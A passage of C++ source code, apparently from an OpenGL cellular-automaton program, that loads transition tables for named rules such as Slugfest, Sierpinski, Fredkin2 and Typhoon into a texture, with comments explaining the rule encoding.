transition_tableSlugfest[256*2] = { 1,1,1,1,0,0,0,1,0,0,1,1,0,0,1,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,1,1,0,0,1,0,1,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,1,1,0,1,0,1,1,1,0,0,0,0,1,0,0,1,0,1,0,0,1,1,0,1,0,1,0,0,1,1,0,1,1,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,1,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,1,1,1,0,1,0, 0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,0,0,1,0,1,1,1,0,1,0,0,1,1,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,1,1,0, }; ptr[ 0 ] = 20; for( int ind = 1 ; ind < std::min( width , 256*2+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableSlugfest[ind-1]; } ptr += 4 * width; // Subtype 6: Snowflakes GLubyte transition_tableSnowflakes[256*2] = { 0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,1,1,0,0,1,0,1,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,1, }; ptr[ 0 ] = 2; for( int ind = 1 ; ind < std::min( width , 256*2+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableSnowflakes[ind-1]; } ptr += 4 * width; // Subtype 7: Springski GLubyte transition_tableSpringski[256*2] = { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, }; ptr[ 0 ] = 78; for( int ind = 1 ; ind < std::min( width , 256*2+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableSpringski[ind-1]; } ptr += 4 * width; //////////////////////////////////////////// // GENERAL BINARY FAMILY von Neumann Neighborhood: 1 neutral + 3 variants // SubType 0: neutral ptr[ 0 ] = 2; for( int ind = 1 ; ind < std::min( width , 16*2+1 ) ; ind++ ) { ptr[ ind * 4 ] = 0; } ptr += 4 * width; // Subtype 1: Banks GLubyte transition_tableBanks[16*2] = { 1,1,1,0,1,1,0,1,1,0,1,1,0,1,1,1, 0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1, }; ptr[ 0 ] = 2; for( int ind = 1 ; ind < std::min( width , 16*2+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableBanks[ind-1]; } ptr += 4 * width; // Subtype 2: FractalBeads GLubyte transition_tableFractalBeads[16*2] = { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0, }; ptr[ 0 ] = 4; for( int ind = 1 ; ind < std::min( width , 16*2+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableFractalBeads[ind-1]; } ptr += 4 * width; // Subtype 3: Sierpinski GLubyte transition_tableSierpinski[16*2] = { 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0, }; ptr[ 0 ] = 2; for( int ind = 1 ; ind < std::min( width , 16*2+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableSierpinski[ind-1]; } ptr += 4 * width; //////////////////////////////////////////// // NEUMANNN BINARY FAMILY : 1 neutral + 18 variants // Fredkin2 rule has the following definition: 2,01101001100101101001011001101001 // The first digit, '2', tells the rule has 2 states (it's a 1 bit rule). // The second digit, '0', tells a cell in a configuration ME=0,N=0,E=0,S=0,W=0 will get the state 0. // The third digit, '1', tells a cell in a configuration ME=0,N=0,E=0,S=0,W=1 will get the state 1. // The fourth digit, '1', tells a cell in a configuration ME=0,N=0,E=0,S=1,W=0 will get the state 1. // The fifth digit, '0', tells a cell in a configuration ME=0,N=0,E=0,S=1,W=1 will get the state 0. // . . . // binary rules are extended to ternary for a uniform rule system // SubType 0: neutral ptr[ 0 ] = 3; for( int ind = 1 ; ind < std::min( width , 243+1 ) ; ind++ ) { ptr[ ind * 4 ] = 0; } ptr += 4 * width; // Subtype 1: Crystal2 GLubyte transition_tableCrystal2[243] = { 0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 }; ptr[ 0 ] = 3; for( int ind = 1 ; ind < std::min( width , 243+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableCrystal2[ind-1]; } ptr += 4 * width; // Subtype 2: Fredkin2 GLubyte transition_tableFredkin2[243] = { 0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 }; ptr[ 0 ] = 3; for( int ind = 1 ; ind < std::min( width , 243+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableFredkin2[ind-1]; } ptr += 4 * width; // Subtype 3: Aggregation GLubyte transition_tableAggregation[243] = { 0,0,2,0,0,0,2,0,2,0,0,0,0,0,0,0,0,0,2,0,2,0,0,0,2,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,2,0,0,0,2,0,2,0,0,0,0,0,0,0,0,0,2,0,2,0,0,0,2,0,2,0,0,1,0,0,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,0,0,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,1,2,0,2,1,2,2,2,0,2,0,2,0,1,0,1,0,2,2,2,2,2,1,2,2,2,0,1,2,0,1,2,0,1,0,1,2,2,0,1,1,2,1,1,0,0,0,1,1,1,1,1,1,2,0,2,1,2,2,2,1,2,1,2,1,1,1,1,1,1,1,2,0,2,1,1,1,2,1,1 }; ptr[ 0 ] = 3; for( int ind = 1 ; ind < std::min( width , 243+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableAggregation[ind-1]; } ptr += 4 * width; // Subtype 4: Birds GLubyte transition_tableBirds[243] = { 0,1,0,1,1,2,0,2,0,1,1,2,1,1,2,2,2,2,0,2,0,2,2,2,0,2,0,1,1,2,1,1,2,2,2,2,1,1,2,1,0,2,2,2,0,2,2,2,2,2,0,2,0,2,0,2,0,2,2,2,0,2,0,2,2,2,2,2,0,2,0,2,0,2,0,2,0,2,0,2,0,1,1,2,1,0,2,2,2,2,1,0,2,0,0,0,2,0,0,2,2,2,2,0,0,2,0,2,1,0,2,0,0,0,2,0,0,0,0,0,0,1,2,0,2,0,2,0,0,0,2,0,0,0,0,2,2,2,2,0,0,2,0,2,2,0,0,0,2,0,0,0,0,2,0,2,0,0,0,2,0,0,0,2,0,2,2,0,0,0,0,2,2,0,2,2,2,0,2,0,0,0,0,0,2,0,0,0,0,2,2,0,2,2,2,0,2,0,2,2,2,2,2,2,2,2,2,0,2,0,2,2,2,0,2,0,0,0,0,0,2,0,0,0,0,0,2,0,2,2,2,0,2,0,0,0,0,0,2,0,0,0,0 }; ptr[ 0 ] = 3; for( int ind = 1 ; ind < std::min( width , 243+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableBirds[ind-1]; } ptr += 4 * width; // Subtype 5: Colony GLubyte transition_tableColony[243] = { 0,1,0,1,0,2,0,2,0,1,0,2,0,1,1,2,1,0,0,2,0,2,1,0,0,0,0,1,0,2,0,1,1,2,1,0,0,1,1,1,0,2,1,2,0,2,1,0,1,2,0,0,0,0,0,2,0,2,1,0,0,0,0,2,1,0,1,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,2,1,1,1,2,1,2,1,1,1,1,1,0,1,0,0,2,1,2,1,0,0,2,0,0,1,1,1,1,1,0,1,0,0,1,1,0,1,0,2,0,2,1,1,0,0,0,2,1,0,1,2,2,1,2,1,0,0,2,0,0,1,0,0,0,2,1,0,1,2,2,0,0,0,1,2,0,2,0,0,2,0,2,2,2,0,2,0,2,2,2,2,2,2,2,2,2,0,2,0,2,2,2,0,2,0,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,0,2,0,2,2,2,0,2,0,2,2,2,2,2,2,2,2,2,0,2,0,2,2,2,0,2,0 }; ptr[ 0 ] = 3; for( int ind = 1 ; ind < std::min( width , 243+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableColony[ind-1]; } ptr += 4 * width; // Subtype 6: Crystal3a GLubyte transition_tableCrystal3a[243] = { 0,1,2,1,0,1,2,2,0,1,0,0,0,1,0,1,0,0,2,1,0,2,0,0,0,0,2,1,0,2,0,1,0,0,0,0,0,1,0,1,2,1,0,1,0,1,0,0,0,1,1,0,0,2,2,1,0,0,0,0,0,0,2,2,0,0,0,1,0,0,1,2,0,0,2,0,0,2,2,2,1,1,1,1,1,0,1,1,1,1,1,0,1,0,0,0,1,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,2,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,2,2,2,2,2,2,2,2,0,2,2,2,2,0,0,2,0,0,2,2,2,2,0,0,0,0,0,2,2,2,2,0,0,2,0,0,2,0,0,0,2,2,0,2,0,2,0,0,0,2,0,0,0,0,2,2,0,2,0,0,2,0,0,2,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0 }; ptr[ 0 ] = 3; for( int ind = 1 ; ind < std::min( width , 243+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableCrystal3a[ind-1]; } ptr += 4 * width; // Subtype 7: Crystal3b GLubyte transition_tableCrystal3b[243] = { 0,1,2,1,0,0,2,0,0,1,0,0,0,1,1,0,0,2,2,0,0,0,1,2,0,2,0,1,0,0,0,2,0,0,2,1,0,2,1,2,2,1,0,2,1,0,1,2,0,2,0,1,2,2,2,0,0,0,2,1,0,1,0,0,0,2,2,1,2,1,0,2,0,2,0,1,1,2,0,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,0,0,1,1,1,1,0,0,1,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,1,2,2,2,2,2,2,2,2,2,2,2,2,2,0,0,2,0,0,2,2,2,2,0,0,2,0,0,2,2,2,2,0,0,2,0,0,2,0,0,0,2,2,0,2,2,2,0,0,0,2,0,0,2,0,2,2,2,2,0,0,2,0,0,2,0,0,0,2,2,0,0,0,2,0,0,0,2,0,0,0,0 }; ptr[ 0 ] = 3; for( int ind = 1 ; ind < std::min( width , 243+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableCrystal3b[ind-1]; } ptr += 4 * width; // Subtype 8: Galaxy GLubyte transition_tableGalaxy[243] = { 0,1,0,1,1,2,0,2,0,1,1,2,1,1,2,2,2,0,0,2,0,2,2,0,0,0,0,1,1,2,1,1,2,2,2,0,1,1,2,1,1,0,2,0,0,2,2,0,2,0,0,0,0,0,0,2,0,2,2,0,0,0,0,2,2,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,2,2,2,2,0,0,2,0,0,0,2,0,0,2,2,2,2,0,0,2,0,0,0,0,2,0,0,0,2,0,0,0,0,0,0,0,0,0,0,2,2,0,0,0,0,2,0,2,0,2,2,2,2,0,0,2,0,0,2,0,0,0,0,2,0,2,0,2,0,0,0,2,0,0,0,2,0,2,0,2,2,0,0,0,0,2,2,0,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,2,2,0,2,2,0,0,0,0,2,2,0,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 }; ptr[ 0 ] = 3; for( int ind = 1 ; ind < std::min( width , 243+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableGalaxy[ind-1]; } ptr += 4 * width; // Subtype 9: Greenberg GLubyte transition_tableGreenberg[243] = { 0,1,0,1,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 }; ptr[ 0 ] = 3; for( int ind = 1 ; ind < std::min( width , 243+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableGreenberg[ind-1]; } ptr += 4 * width; // Subtype 10: Honeycomb GLubyte transition_tableHoneycomb[243] = { 0,1,0,1,0,2,0,2,0,1,0,2,0,0,2,2,2,2,0,2,0,2,2,2,0,2,0,1,0,2,0,0,2,2,2,2,0,0,2,0,0,2,2,2,0,2,2,2,2,2,0,2,0,2,0,2,0,2,2,2,0,2,0,2,2,2,2,2,0,2,0,2,0,2,0,2,0,2,0,2,0,1,1,0,1,1,2,0,2,0,1,1,2,1,0,0,2,0,2,0,2,0,2,0,2,0,2,0,1,1,2,1,0,0,2,0,2,1,0,0,0,0,2,0,2,0,2,0,2,0,2,0,2,0,0,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,0,0,2,0,2,0,0,0,0,0,0,2,0,2,2,2,0,2,0,2,2,2,2,2,2,2,2,2,0,2,0,2,2,2,0,2,0,2,2,2,2,2,2,2,2,2,2,2,2,2,2,0,2,0,2,2,2,2,2,0,2,2,2,2,0,2,0,2,2,2,0,2,0,2,2,2,2,0,2,2,2,2,0,2,0,2,2,2,0,2,0 }; ptr[ 0 ] = 3; for( int ind = 1 ; ind < std::min( width , 243+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableHoneycomb[ind-1]; } ptr += 4 * width; // Subtype 11: Knitting GLubyte transition_tableKnitting[243] = { 0,1,0,1,1,2,0,2,0,1,1,2,1,1,0,2,0,2,0,2,0,2,0,2,0,2,0,1,1,2,1,1,0,2,0,2,1,1,0,1,1,0,0,0,2,2,0,2,0,0,2,2,2,1,0,2,0,2,0,2,0,2,0,2,0,2,0,0,2,2,2,1,0,2,0,2,2,1,0,1,0,1,0,2,0,1,0,2,0,2,0,1,0,1,0,2,0,2,1,2,0,2,0,2,1,2,1,1,0,1,0,1,0,2,0,2,1,1,0,2,0,0,0,2,0,0,0,2,1,2,0,0,1,0,2,2,0,2,0,2,1,2,1,1,0,2,1,2,0,0,1,0,2,2,1,1,1,0,2,1,2,0,0,2,0,2,2,2,0,2,0,2,2,2,2,2,2,2,2,2,0,2,0,2,2,2,0,2,0,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,0,2,0,2,2,2,0,2,0,2,2,2,2,2,2,2,2,2,0,2,0,2,2,2,0,2,0 }; ptr[ 0 ] = 3; for( int ind = 1 ; ind < std::min( width , 243+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableKnitting[ind-1]; } ptr += 4 * width; // Subtype 12: Lake GLubyte transition_tableLake[243] = { 0,1,0,1,1,2,0,2,0,1,1,2,1,0,0,2,0,2,0,2,0,2,0,2,0,2,0,1,1,2,1,0,0,2,0,2,1,0,0,0,1,0,0,0,2,2,0,2,0,0,2,2,2,0,0,2,0,2,0,2,0,2,0,2,0,2,0,0,2,2,2,0,0,2,0,2,2,0,0,0,0,0,1,2,1,1,0,2,0,2,1,1,0,1,0,0,0,0,0,2,0,2,0,0,0,2,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,2,0,2,2,0,0,0,0,2,2,0,2,0,2,0,2,0,0,0,2,0,0,0,0,0,0,2,2,0,2,0,2,0,0,0,2,0,0,0,0,0,2,0,2,2,2,0,2,0,2,2,2,2,2,2,2,2,2,0,2,0,2,2,2,0,2,0,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,0,2,0,2,2,2,0,2,0,2,2,2,2,2,2,2,2,2,0,2,0,2,2,2,0,2,0 }; ptr[ 0 ] = 3; for( int ind = 1 ; ind < std::min( width , 243+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableLake[ind-1]; } ptr += 4 * width; // Subtype 13: Plankton GLubyte transition_tablePlankton[243] = { 0,1,0,1,1,2,0,2,0,1,1,2,1,1,2,2,2,2,0,2,0,2,2,2,0,2,0,1,1,2,1,1,2,2,2,2,1,1,2,1,0,2,2,2,0,2,2,2,2,2,0,2,0,2,0,2,0,2,2,2,0,2,0,2,2,2,2,2,0,2,0,2,0,2,0,2,0,2,0,2,0,1,0,0,0,0,2,0,2,0,0,0,2,0,1,0,2,0,2,0,2,0,2,0,2,0,2,0,0,0,2,0,1,0,2,0,2,0,1,0,1,0,2,0,2,0,2,0,2,0,2,0,2,0,0,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,0,0,2,0,2,0,0,0,0,0,0,2,0,2,2,0,0,0,0,2,2,0,2,2,2,0,2,0,0,0,0,0,2,0,0,0,0,2,2,0,2,2,2,0,2,0,2,2,2,2,2,2,2,2,2,0,2,0,2,2,2,0,2,0,0,0,0,0,2,0,0,0,0,0,2,0,2,2,2,0,2,0,0,0,0,0,2,0,0,0,0 }; ptr[ 0 ] = 3; for( int ind = 1 ; ind < std::min( width , 243+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tablePlankton[ind-1]; } ptr += 4 * width; // Subtype 14: Pond GLubyte transition_tablePond[243] = { 0,1,0,1,1,2,0,2,0,1,1,2,1,1,2,2,2,2,0,2,0,2,2,2,0,2,0,1,1,2,1,1,2,2,2,2,1,1,2,1,0,2,2,2,0,2,2,2,2,2,0,2,0,2,0,2,0,2,2,2,0,2,0,2,2,2,2,2,0,2,0,2,0,2,0,2,0,2,0,2,0,1,1,0,1,0,2,0,2,0,1,0,2,0,1,0,2,0,2,0,2,0,2,0,2,0,2,0,1,0,2,0,1,0,2,0,2,0,1,0,1,1,2,0,2,0,2,0,2,0,2,0,2,0,0,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,0,0,2,0,2,0,0,0,0,0,0,2,0,2,2,0,0,0,0,2,2,0,2,2,2,0,2,0,0,0,0,0,2,0,0,0,0,2,2,0,2,2,2,0,2,0,2,2,2,2,2,2,2,2,2,0,2,0,2,2,2,0,2,0,0,0,0,0,2,0,0,0,0,0,2,0,2,2,2,0,2,0,0,0,0,0,2,0,0,0,0 }; ptr[ 0 ] = 3; for( int ind = 1 ; ind < std::min( width , 243+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tablePond[ind-1]; } ptr += 4 * width; // Subtype 15: Strata GLubyte transition_tableStrata[243] = { 0,0,0,0,0,0,2,0,0,1,2,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,2,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 }; ptr[ 0 ] = 3; for( int ind = 1 ; ind < std::min( width , 243+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableStrata[ind-1]; } ptr += 4 * width; // Subtype 16: Tanks GLubyte transition_tableTanks[243] = { 0,1,0,1,1,2,0,2,0,1,1,2,1,1,2,2,2,2,0,2,0,2,2,2,0,2,0,1,1,2,1,1,2,2,2,2,1,1,2,1,0,2,2,2,0,2,2,2,2,2,0,2,0,2,0,2,0,2,2,2,0,2,0,2,2,2,2,2,0,2,0,2,0,2,0,2,0,2,0,2,0,1,1,0,1,0,2,0,2,0,1,0,2,0,1,0,2,0,2,0,2,0,2,0,2,0,2,0,1,0,2,0,1,0,2,0,2,0,1,0,1,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,0,2,0,2,2,2,0,2,0,2,2,2,2,2,0,2,0,0,0,2,0,2,0,0,0,0,0,2,2,2,2,2,0,2,0,0,2,2,0,2,2,2,0,2,0,2,0,0,0,2,0,0,0,0,0,2,0,2,0,0,0,0,0,2,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0 }; ptr[ 0 ] = 3; for( int ind = 1 ; ind < std::min( width , 243+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableTanks[ind-1]; } ptr += 4 * width; // Subtype 17: Typhoon GLubyte transition_tableTyphoon[243] = { 0,1,0,1,1,2,0,2,0,1,1,2,1,1,2,2,2,0,0,2,0,2,2,0,0,0,0,1,1,2,1,1,2,2,2,0,1,1,2,1,1,0,2,0,0,2,2,0,2,0,0,0,0,0,0,2,0,2,2,0,0,0,0,2,2,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,2,2,2,2,0,0,2,0,0,0,2,0,0,2,2,2,2,0,0,2,0,0,0,0,2,0,0,0,2,0,0,0,0,0,0,0,0,0,0,2,2,0,0,0,0,2,0,2,0,2,2,2,2,0,0,2,0,0,2,0,0,0,0,2,0,2,0,2,0,0,0,2,0,0,0,2,0,2,0,2,2,2,0,2,0,2,2,2,2,2,2,2,2,2,0,2,0,2,2,2,0,2,0,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,0,2,0,2,2,2,0,2,0,2,2,2,2,2,2,2,2,2,0,2,0,2,2,2,0,2,0 }; ptr[ 0 ] = 3; for( int ind = 1 ; ind < std::min( width , 243+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableTyphoon[ind-1]; } ptr += 4 * width; // Subtype 18: 